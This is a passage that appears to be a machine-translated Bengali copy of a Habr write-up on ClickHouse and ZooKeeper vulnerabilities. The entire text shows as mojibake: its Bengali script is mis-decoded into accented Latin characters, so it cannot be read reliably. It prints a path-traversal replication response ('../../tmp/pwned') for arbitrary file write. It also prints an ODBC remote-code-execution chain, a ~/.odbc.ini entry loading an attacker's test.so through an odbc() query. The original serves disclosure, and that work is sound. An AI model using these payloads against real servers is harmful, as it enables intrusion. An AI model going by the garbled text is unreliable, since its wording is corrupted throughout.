āĻ‰āĻĒāĻžāĻ¤ā§āĻ¤ - āĻĄā§‡āĻŸāĻžāĻ° āĻ¸āĻžāĻĨā§‡ āĻĒā§āĻ°āĻ•ā§ƒāĻ¤ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ, āĻāĻ‡ āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°ā§‡ āĻĒā§āĻ°āĻ¤āĻŋāĻŸāĻŋ āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻāĻ•āĻŸāĻŋ āĻĒā§ƒāĻĨāĻ• āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻāĻ–āĻžāĻ¨ā§‡ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ (āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ /var/lib/clickhouse/data/default).

āĻĒā§āĻ°āĻ¤āĻŋāĻŸāĻŋ āĻŸā§‡āĻŦāĻŋāĻ˛ā§‡āĻ° āĻœāĻ¨ā§āĻ¯, āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧāĨ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻŸāĻŋ āĻ•āĻ˛āĻžāĻŽā§‡āĻ° āĻ‰āĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻ­āĻ° āĻ•āĻ°ā§‡ āĻāĻ•āĻŸāĻŋ āĻĒā§ƒāĻĨāĻ• āĻĢāĻžāĻ‡āĻ˛ āĻ‡āĻžā§āĻœāĻŋāĻ¨ āĻŦāĻŋāĻ¨ā§āĻ¯āĻžāĻ¸. āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ āĻāĻ•āĻŸāĻŋ āĻŸā§‡āĻŦāĻŋāĻ˛ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ foobarāĻāĻ•āĻŸāĻŋ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¤ā§ˆāĻ°āĻŋ, āĻ¨āĻŋāĻŽā§āĻ¨āĻ˛āĻŋāĻ–āĻŋāĻ¤ āĻĢāĻžāĻ‡āĻ˛ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻŦā§‡:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‚āĻĒāĻŸāĻŋ āĻĄā§‡āĻŸāĻž āĻŦā§āĻ˛āĻ• āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ•āĻ°āĻŖā§‡āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻāĻ•āĻ‡ āĻ¨āĻžāĻŽā§‡āĻ° āĻĢāĻžāĻ‡āĻ˛āĻ—ā§āĻ˛āĻŋ āĻĒāĻžāĻ“āĻ¯āĻŧāĻžāĻ° āĻ†āĻļāĻž āĻ•āĻ°ā§‡ āĻāĻŦāĻ‚ āĻ¸ā§‡āĻ—ā§āĻ˛āĻŋāĻ•ā§‡ āĻ•ā§‹āĻ¨ā§‹āĻ­āĻžāĻŦā§‡āĻ‡ āĻ¯āĻžāĻšāĻžāĻ‡ āĻ•āĻ°ā§‡ āĻ¨āĻžāĨ¤

āĻŽāĻ¨ā§‹āĻ¯ā§‹āĻ—ā§€ āĻĒāĻžāĻ āĻ• āĻ¸āĻŽā§āĻ­āĻŦāĻ¤ āĻ‡āĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§‡āĻ‡ āĻāĻ•āĻŸāĻŋ āĻĢāĻžāĻ‚āĻļāĻ¨ā§‡ file_name āĻāĻ° āĻ…āĻ¨āĻŋāĻ°āĻžāĻĒāĻĻ āĻ¸āĻ‚āĻ¯ā§‹āĻœāĻ¨ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻļā§āĻ¨ā§‡āĻ›ā§‡āĻ¨ WriteBufferFromFile. āĻšā§āĻ¯āĻžāĻ, āĻāĻŸāĻŋ āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€āĻ•ā§‡ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€āĻ° āĻ…āĻ§āĻŋāĻ•āĻžāĻ° āĻ¸āĻš FS-āĻ āĻ¯ā§‡āĻ•ā§‹āĻ¨ā§‹ āĻĢāĻžāĻ‡āĻ˛ā§‡ āĻ¨āĻŋāĻ°ā§āĻŦāĻŋāĻšāĻžāĻ°ā§‡ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻĻā§‡āĻ¯āĻŧ clickhouse. āĻāĻŸāĻŋ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€āĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŋāĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ•ā§‡ āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ā§‡āĻ° āĻ¨āĻŋāĻŽā§āĻ¨āĻ˛āĻŋāĻ–āĻŋāĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻŸāĻŋ āĻĢā§‡āĻ°āĻ¤ āĻĻāĻŋāĻ¤ā§‡ āĻšāĻŦā§‡ (āĻŦā§‹āĻāĻžāĻ° āĻ¸ā§āĻŦāĻŋāĻ§āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ˛āĻžāĻ‡āĻ¨ āĻŦāĻŋāĻ°āĻ¤āĻŋ āĻ¯ā§‹āĻ— āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

āĻāĻŦāĻ‚ āĻ¸āĻ‚āĻ¯ā§āĻ•ā§āĻ¤āĻŋāĻ° āĻĒāĻ°ā§‡ ../../../../../../../../../tmp/pwned āĻĢāĻžāĻ‡āĻ˛ āĻ˛ā§‡āĻ–āĻž āĻšāĻŦā§‡ /tmp/pwned āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš āĻšā§āĻ¯āĻžāĻ˛ā§‹āĻĢā§āĻ°āĻžāĻŽ āĻšāĻŋāĻĄāĻŧāĻŋāĻ¯āĻŧāĻžāĻ–āĻžāĻ¨āĻžāĻ° āĻ°āĻ•ā§āĻˇāĻ•.

āĻĢāĻžāĻ‡āĻ˛ āĻ˛ā§‡āĻ–āĻžāĻ° āĻ•ā§āĻˇāĻŽāĻ¤āĻžāĻ•ā§‡ āĻ°āĻŋāĻŽā§‹āĻŸ āĻ•ā§‹āĻĄ āĻāĻ•ā§āĻ¸āĻŋāĻ•āĻŋāĻ‰āĻļāĻ¨ (RCE) āĻ āĻĒāĻ°āĻŋāĻŖāĻ¤ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻŦā§‡āĻļ āĻ•āĻ¯āĻŧā§‡āĻ•āĻŸāĻŋ āĻŦāĻŋāĻ•āĻ˛ā§āĻĒ āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡āĨ¤

RCE āĻŽāĻ§ā§āĻ¯ā§‡ āĻŦāĻšāĻŋāĻ°āĻžāĻ—āĻ¤ āĻ…āĻ­āĻŋāĻ§āĻžāĻ¨

āĻĒā§āĻ°āĻžāĻ¨ā§‹ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖāĻ—ā§āĻ˛āĻŋāĻ¤ā§‡, āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ āĻ¸ā§‡āĻŸāĻŋāĻ‚āĻ¸ āĻ¸āĻš āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻŸāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€āĻ° āĻ…āĻ§āĻŋāĻ•āĻžāĻ° āĻ¸āĻš āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ āĻ•ā§āĻ˛āĻŋāĻ• āĻšāĻžāĻ‰āĻ¸ āĻĄāĻŋāĻĢāĻ˛ā§āĻŸ. āĻ¸ā§‡āĻŸāĻŋāĻ‚āĻ¸ āĻĢāĻžāĻ‡āĻ˛āĻ—ā§āĻ˛āĻŋ āĻšāĻ˛ XML āĻĢāĻžāĻ‡āĻ˛ āĻ¯āĻž āĻĒāĻ°āĻŋāĻˇā§‡āĻŦāĻžāĻŸāĻŋ āĻ¸ā§āĻŸāĻžāĻ°ā§āĻŸāĻ†āĻĒā§‡ āĻĒāĻĄāĻŧā§‡ āĻāĻŦāĻ‚ āĻ¤āĻžāĻ°āĻĒāĻ°ā§‡ āĻ•ā§āĻ¯āĻžāĻļā§‡ āĻ•āĻ°ā§‡ā§ˇ /var/lib/clickhouse/preprocessed_configs. āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻ˜āĻŸāĻ˛ā§‡, āĻ¸ā§‡āĻ—ā§āĻ˛āĻŋ āĻĒā§āĻ¨āĻ°āĻžāĻ¯āĻŧ āĻĒāĻĄāĻŧāĻž āĻšāĻ¯āĻŧāĨ¤ āĻ†āĻĒāĻ¨āĻžāĻ° āĻ¯āĻĻāĻŋ āĻ…ā§āĻ¯āĻžāĻ•ā§āĻ¸ā§‡āĻ¸ āĻĨāĻžāĻ•ā§‡ /etc/clickhouse-server āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻ¤āĻžāĻ° āĻ¨āĻŋāĻœā§‡āĻ° āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡ āĻŦāĻžāĻšā§āĻ¯āĻŋāĻ• āĻ…āĻ­āĻŋāĻ§āĻžāĻ¨ āĻāĻ•ā§āĻ¸āĻŋāĻ•āĻŋāĻ‰āĻŸā§‡āĻŦāĻ˛ āĻŸāĻžāĻ‡āĻĒ āĻāĻŦāĻ‚ āĻ¤āĻžāĻ°āĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻŦāĻŋāĻšāĻžāĻ°ā§‡ āĻ•ā§‹āĻĄ āĻšāĻžāĻ˛āĻžāĻ¨āĨ¤ āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ā§‡āĻ° āĻŦāĻ°ā§āĻ¤āĻŽāĻžāĻ¨ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖāĻ—ā§āĻ˛āĻŋ āĻĄāĻŋāĻĢāĻ˛ā§āĻŸāĻ°ā§‚āĻĒā§‡ āĻ…āĻ§āĻŋāĻ•āĻžāĻ° āĻĒā§āĻ°āĻĻāĻžāĻ¨ āĻ•āĻ°ā§‡ āĻ¨āĻž, āĻ¤āĻŦā§‡ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°āĻŸāĻŋ āĻ§ā§€āĻ°ā§‡ āĻ§ā§€āĻ°ā§‡ āĻ†āĻĒāĻĄā§‡āĻŸ āĻ•āĻ°āĻž āĻšāĻ˛ā§‡, āĻāĻ‡ āĻ§āĻ°āĻ¨ā§‡āĻ° āĻ…āĻ§āĻŋāĻ•āĻžāĻ°āĻ—ā§āĻ˛āĻŋ āĻĨā§‡āĻ•ā§‡ āĻ¯ā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤ āĻ†āĻĒāĻ¨āĻŋ āĻ¯āĻĻāĻŋ āĻāĻ•āĻŸāĻŋ ClickHouse āĻ•ā§āĻ˛āĻžāĻ¸ā§āĻŸāĻžāĻ° āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻ•āĻ°ā§‡āĻ¨, āĻ¸ā§‡āĻŸāĻŋāĻ‚āĻ¸ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻ° āĻ…āĻ§āĻŋāĻ•āĻžāĻ° āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻ•āĻ°ā§āĻ¨, āĻāĻŸāĻŋ āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€āĻ° āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ—āĻ¤ root.

ODBC āĻĨā§‡āĻ•ā§‡ RCE

āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻ‡āĻ¨āĻ¸ā§āĻŸāĻ˛ āĻ•āĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻāĻ•āĻŸāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ clickhouse, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ° āĻšā§‹āĻŽ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ āĻ¨āĻž /nonexistent. āĻ¯āĻžāĻ‡āĻšā§‹āĻ•, āĻŦāĻšāĻŋāĻ°āĻžāĻ—āĻ¤ āĻ…āĻ­āĻŋāĻ§āĻžāĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻŦāĻž āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ•āĻžāĻ°āĻŖā§‡, āĻĒā§āĻ°āĻļāĻžāĻ¸āĻ•āĻ°āĻž āĻāĻ•āĻŸāĻŋ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°ā§‡ /nonexistent āĻāĻŦāĻ‚ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€āĻ•ā§‡ āĻĻāĻŋāĻ¨ clickhouse āĻāĻŸāĻŋāĻ¤ā§‡ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻ…ā§āĻ¯āĻžāĻ•ā§āĻ¸ā§‡āĻ¸ (SSZB! āĻĒā§āĻ°āĻžāĻ¯āĻŧ. āĻ…āĻ¨ā§āĻŦāĻžāĻĻāĻ•).

āĻ•ā§āĻ˛āĻŋāĻ• āĻšāĻžāĻ‰āĻ¸ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻ•āĻ°ā§‡ ODBC āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻ‚āĻ¯ā§‹āĻ— āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤ ODBC-āĻ¤ā§‡, āĻ†āĻĒāĻ¨āĻŋ āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ āĻĄā§āĻ°āĻžāĻ‡āĻ­āĻžāĻ° āĻ˛āĻžāĻ‡āĻŦā§āĻ°ā§‡āĻ°āĻŋāĻ° (.so) āĻĒāĻĨ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤ ClickHouse-āĻāĻ° āĻĒā§āĻ°āĻžāĻ¨ā§‹ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖāĻ—ā§āĻ˛āĻŋ āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ āĻšā§āĻ¯āĻžāĻ¨ā§āĻĄāĻ˛āĻžāĻ°ā§‡ āĻ¸āĻ°āĻžāĻ¸āĻ°āĻŋ āĻāĻŸāĻŋ āĻ•āĻ°āĻžāĻ° āĻ…āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻāĻŋāĻ¯āĻŧā§‡āĻ›ā§‡, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ–āĻ¨ āĻ¸āĻ‚āĻ¯ā§‹āĻ— āĻ¸ā§āĻŸā§āĻ°āĻŋāĻ‚āĻ¯āĻŧā§‡āĻ° āĻ†āĻ°āĻ“ āĻ•āĻ ā§‹āĻ° āĻšā§‡āĻ• āĻ¯ā§‹āĻ— āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ odbc-bridge, āĻ¤āĻžāĻ‡ āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ āĻĨā§‡āĻ•ā§‡ āĻĄā§āĻ°āĻžāĻ‡āĻ­āĻžāĻ° āĻĒāĻžāĻĨ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°āĻž āĻ†āĻ° āĻ¸āĻŽā§āĻ­āĻŦ āĻ¨āĻ¯āĻŧāĨ¤ āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻ•āĻŋ āĻ‰āĻĒāĻ°ā§‡ āĻŦāĻ°ā§āĻŖāĻŋāĻ¤ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻšā§‹āĻŽ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻ¤ā§‡ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡?

āĻāĻ° āĻāĻ•āĻŸāĻŋ āĻĢāĻžāĻ‡āĻ˛ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻ¯āĻžāĻ• ~/.odbc.ini āĻāĻ‡ āĻŽāĻ¤ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

āĻ¤āĻžāĻ°āĻĒāĻ° āĻ¸ā§āĻŸāĻžāĻ°ā§āĻŸāĻ†āĻĒā§‡ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); āĻ˛āĻžāĻ‡āĻŦā§āĻ°ā§‡āĻ°āĻŋ āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻž āĻšāĻŦā§‡ test.so āĻāĻŦāĻ‚ RCE āĻĒā§‡āĻ¯āĻŧā§‡āĻ›ā§‡ (āĻ§āĻ¨ā§āĻ¯āĻŦāĻžāĻĻ āĻŦāĻžāĻ—āĻ˛ā§‹āĻ• āĻŸāĻŋāĻĒā§‡āĻ° āĻœāĻ¨ā§āĻ¯)āĨ¤

āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖ 19.14.3-āĻ āĻāĻ‡āĻ—ā§āĻ˛āĻŋ āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ—ā§āĻ˛āĻŋ āĻ¸āĻ‚āĻļā§‹āĻ§āĻ¨ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ā§ˇ āĻ†āĻĒāĻ¨āĻžāĻ° ClickHouse āĻāĻŦāĻ‚ ZooKeepers āĻ¯āĻ¤ā§āĻ¨ āĻ¨āĻŋāĻ¨!

āĻ‰āĻ¤ā§āĻ¸: www.habr.com

āĻāĻ•āĻŸāĻŋ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯ āĻœā§āĻĄāĻŧā§āĻ¨